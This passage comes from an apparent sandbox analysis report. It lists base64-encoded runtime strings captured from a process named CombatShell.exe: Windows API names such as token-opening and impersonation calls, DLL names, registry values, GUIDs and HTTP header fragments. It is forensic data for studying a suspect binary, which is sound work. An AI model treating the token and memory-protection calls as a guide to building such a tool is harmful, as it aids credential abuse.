Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUF1dG9GbHVzaFByb2Nlc3NOYW1lTGlzdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUNBTmFtZUNvbnN0cmFpbnRz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1hbmRhdG9yeUJhc2ljQ29uc3RyYWludHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1ldGFGaWxlcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVVuc3VwcG9ydGVkQ3JpdGljYWxFeHRlbnNpb25z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRFbmNvZGVkQ3Rs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRMYXN0U3luY1RpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRTeW5jRGVsdGFUaW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0Ryb3BFeHRlbnNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVyVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q29weUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q3JlYXRlTGF5ZXJDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVsZXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVMYXllclBsYW5l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0TGF5ZXJQYWxldHRlRW50cmllcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UHJlc2VudEJ1ZmZlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UmVhbGl6ZUxheWVyUGFsZXR0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UmVsZWFzZUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0Q2FsbGJhY2tQcm9jcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0Q29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0TGF5ZXJQYWxldHRlRW50cmllcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0UGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2hhcmVMaXN0cw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcEJ1ZmZlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcExheWVyQnVmZmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcE11bHRpcGxlQnVmZmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2VmFsaWRhdGVWZXJzaW9u","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlVG9rZW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZWJhZGY3NzUtNDhhYS00YmYzLThmOGUtZWM2OGQxMTNjOThl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQW5jaG9yQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTFVB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTm9uQ2xpZW50RHBpU2NhbGluZw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUGVyUHJvY2Vzc1N5c3RlbURQSQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlU3RyaWN0Q2hlY2tzRmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlVGxzRXh0ZXJuYWxBbGdvcml0aG1z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlV2Vha1NpZ25hdHVyZUZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5jcnlwdE1lc3NhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW51bURpc3BsYXlTZXR0aW5nc0V4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXZlcnlvbmVJbmNsdWRlc0Fub255bW91cw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0FSQl90ZXh0dXJlX3Jn","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0FUSV9mcmFnbWVudF9zaGFkZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0VYVF9mcmFtZWJ1ZmZlcl9tdWx0aXNhbXBsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX05WX3ByaW1pdGl2ZV9yZXN0YXJ0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXh0ZW5zaW9uTWF4WWVhcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjA1NTg0MzgtZjU2YS01OTg3LTQ3ZGEtMDQwY2E3NWFlZjA1","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjI1YmNkMmUtMjY5MC01NWRjLTNiYzQtMDdiNjViMWI0MWM5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjNhNzFhNGItNjExOC00MjU3LThjY2ItMzlhMzNiYTA1OWQ0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVRpbWVUb1N5c3RlbVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmlwc0FsZ29yaXRobVBvbGljeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmxzR2V0VmFsdWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmxzU2V0VmFsdWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hWaWV3T2ZGaWxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNvbnNvbGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNvbnRleHRCdWZmZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNyZWRlbnRpYWxzSGFuZGxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnlXaGVuQ2FsbGJhY2tSZXR1cm5z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2RpMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tcHV0ZXJOYW1lRXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFBhY2thZ2VJZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3Nvck51bWJlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZVc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yTW9uaXRvcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yV2luZG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVNpemU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lQQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxlSW5mb0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmF0aXZlU3lzdGVtSW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZUFzRmlsZVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50NjQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGltZVpvbmVJbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5JbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2lwQWN0aXZpdHlCeXBhc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xDb3B5QnVmZmVyU3ViRGF0YU5W","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuQ29tcHJlc3NlZFRleEltYWdl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVGV4SW1hZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVW5pZm9ybWR2","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R0xTTFZlcnNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R3BTdmNEZWJ1Z0xldmVs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGFyZHdhcmVJRA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcENvbXBhY3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcENyZWF0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcERlc3Ryb3k=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFZhbGlkYXRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNCBHTVRDb250ZW50LVR5cGU6IHRleHQvcGxhaW5Db250ZW50LUxlbmd0aDogMTNDb25uZWN0aW9uOiBrZWVwLWFsaXZlQ0YtUkFZOiA5NTc1ZjAwNmVjYzNlZDM3LVNKQ1Zhcnk6IE9yaWdpbmNmLWNhY2hlLXN0YXR1czogRFlOQU1JQ1NlcnZlcjogY2xvdWRmbGFyZXNlcnZlci10aW1pbmc6IGNmTDQ7ZGVzYz0iP3Byb3RvPVRDUCZydHQ9MTUxOCY=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNiBHTVRDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb25Db250ZW50LUxlbmd0aDogMzZDb25uZWN0aW9uOiBrZWVwLWFsaXZlTmVsOiB7InJlcG9ydF90byI6ImNmLW5lbCIsInN1Y2Nlc3NfZnJhY3Rpb24iOjAuMCwibWF4X2FnZSI6NjA0ODAwfUNmLUNhY2hlLVN0YXR1czogRFlOQU1JQ1JlcG9ydC1UbzogeyJncm91cCI6ImNmLW5lbCIsIm1heF9h","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWRsZVRpbWVyV2luZG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW1hZ2UgUGF0aA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW1wZXJzb25hdGVMb2dnZWRPblVzZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVNlY3VyaXR5Q29udGV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVNSV0xvY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VFeGVjdXRlT25jZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5wcm9jU2VydmVyMzI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNIdnNpQ29udGFpbmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNUYWJsZXRQQw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3My","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"a2VybmVsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2VybmVsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S0VSTkVMMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2V5IE1vZGlmaWVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF1bmNoVXNlck9PQkU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TENNYXBTdHJpbmdFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFwcEluaXRfRExMcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeEE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxGcmVl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9ja0ZpbGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9uZ1BhdGhzRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bHNhcG9saWN5bG9va3Vw","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bHNhc3NwaXJwYw==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZUd1aWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsQ291bnRJbkNlcnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQnl0ZUNvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQ2VydENvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQ291bnRQZXJDaGFpbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4SXNzdWVyRGVwdGg=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UGF0aENvdW50UGVyQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UnBjU2l6ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4U3hTSGFzaENvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4VXJsUmV0cmlldmFsQnl0ZUNvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4VmVyaWZ5U2lnbmF0dXJlQ291bnRQZXJDaGFpbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TURNRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWluUnNhUHViS2V5Qml0TGVuZ3Ro","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bXN2Y3J0LmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbbHNhcG9saWN5bG9va3VwXQ==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbbHNhc3NwaXJwY10=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbcHJvdGVjdGVkX3N0b3JhZ2Vd","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNyeXB0LmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TkNyeXB0RnJlZU9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmRyT2xlRXh0RExM","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRBbGxvY2F0ZVZpcnR1YWxNZW1vcnk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bnRkbGwuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuUHJvY2Vzc1Rva2Vu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRQcm90ZWN0VmlydHVhbE1lbW9yeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b2xlMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T0xFNDIxQzlDNjEyNzlEQkFENzVBNjlCMzYyMzg1RQ==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b2xlYXV0MzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BhcXVlS2V5QmxvYg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b3BlbmdsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkdMUHJvZmlsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkdMVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3NUb2tlbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3V0cHV0RGVidWdTdHJpbmdB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3V0cHV0RGVidWdTdHJpbmdX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclN5c3RlbUhlYXBJc1ByaXZhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclVzZVN5c3RlbUhlYXA=","type":"Ansi","source":"Runtime 